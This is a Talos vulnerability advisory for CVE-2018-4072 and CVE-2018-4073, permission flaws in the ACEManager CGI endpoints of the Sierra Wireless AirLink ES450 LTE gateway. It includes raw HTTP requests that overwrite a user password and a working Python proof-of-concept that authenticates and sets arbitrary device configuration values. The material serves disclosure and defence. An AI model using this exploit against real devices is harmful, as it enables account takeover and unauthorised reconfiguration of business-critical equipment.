Sierra Wireless AirLink ES450 ACEManager Embedded_Ace_Set_Task.cgi Permission Assignment

`Talos Vulnerability Report  
  
TALOS-2018-0756  
  
Sierra Wireless AirLink ES450 ACEManager Embedded_Ace_Set_Task.cgi Permission Assignment Vulnerability  
April 25, 2019  
  
CVE Number  
  
CVE-2018-4072, CVE-2018-4073  
  
Summary  
  
An exploitable Permission Assignment vulnerability exists in the ACEManager EmbeddedAceSet_Task.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can cause a arbitrary setting writes, resulting in the unverified changes to any system setting. An attacker can make an authenticated HTTP request, or run the binary as any user, to trigger this vulnerability.  
Tested Versions  
  
Sierra Wireless AirLink ES450 FW 4.9.3  
  
Product URLs  
  
https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/  
CVSSv3 Score  
  
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L  
CWE  
  
CWE-732: Incorrect Permission Assignment for Critical Resource  
  
  
Details  
  
Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.  
  
ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.  
  
These vulnerabilities were discovered and tested using the AirLink ES450. Most likely this vulnerabilities also affects the AirLink GX450 product as well.  
CVE-2018-4072  
  
The EmbeddedAceSet_Task.cgi executable is used to change MSCII configuration values within the configuration manager of the AirLink ES450. This binary does not have any restricted configuration settings, so once the MSCIID is discovered, any authenticated user can send configuration changes using the /cgi-bin/Embedded_Ace_Set_Task.cgi endpoint. The following request shows the MSCIID for changing the user password for the device.  
  
POST /cgi-bin/Embedded_Ace_Set_Task.cgi HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html  
Content-Type: text/xml  
Cache-Control: no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 15  
Cookie: token=8b61123e579dcaa49a707abc4fcc1016  
Connection: close  
  
5003=password0  
  
This binary has -rwxr-xr-x permissions which allows the binary to be executed outside of the web user interface as well, such as if a user logs in over SSH. This allows a low-privilege user to change the password of other users on the system, enable or disable services, and change any configuration set on the device.  
CVE-2018-4073  
  
Additionally, the binary the endpoint /cgi-bin/Embeded_Ace_TLSet_Task.cgi is a very similar endpoint that is designed for use with setting table values. The following request shows the MSCIID for changing the user password for the device  
  
POST /cgi-bin/Embedded_Ace_TLSet_Task.cgi HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html  
Content-Type: text/xml  
Cache-Control: no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 28  
Cookie: token=30578cf7228232d357e029347617af5c  
Connection: close  
  
colsid=5003&data=password012  
  
This binary has -rwxr-xr-x permissions which allows the binary to be executed outside of the web user interface as well, such as if a user logs in over SSH. This allows a low-privilege user to change the password of other users on the system, enable or disable services, and change any configuration set on the device.  
  
Exploit Proof of Concept  
  
#!/usr/bin/env python  
#Author : Carl Hurd, Cisco Talos  
import sys  
import socket  
import time  
import requests  
  
from requests_toolbelt.utils import dump  
  
def auth(ip, port, password):  
data = """<request xmlns="urn:acemanager">  
<connect>  
<login>user</login>  
<password><![CDATA[{}]]></password>  
</connect>  
</request>""".format(password)  
  
response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)  
  
try:  
cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])  
return cookies  
except:  
print("Error while authenticating")  
sys.exit(0)  
  
def main():  
if len(sys.argv) < 6 or len(sys.argv) > 6:  
print("Usage : {} [ip address] [port] [password of user] [msciid to set] [msciid value]".format(sys.argv[0]))  
sys.exit(0)  
  
ip = sys.argv[1]  
port = sys.argv[2]  
password = sys.argv[3]  
msciid = sys.argv[4]  
msciid_val = sys.argv[5]  
  
print("MSCIID : {}\nMSCIID VALUE : {}".format(msciid, msciid_val))  
  
cookies = auth(ip, port, password)  
  
data = msciid + "=" + msciid_val  
response = requests.post("http://"+ip+":"+port+"/cgi-bin/Embedded_Ace_Set_Task.cgi", cookies=cookies, data=data)  
  
print(response.text)  
  
if __name__ == "__main__":  
main()  
  
Timeline  
  
2018-12-14 - Vendor disclosure  
2018-12-17 - Vendor acknowledged  
2019-01-08 - Discussion to review vendor's analysis of issues  
2019-03-26 - Vendor established timelines for fix/public disclosure  
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756  
2019-04-25 - Public Release  
  
Credit  
  
Discovered by Carl Hurd of Cisco Talos.  
`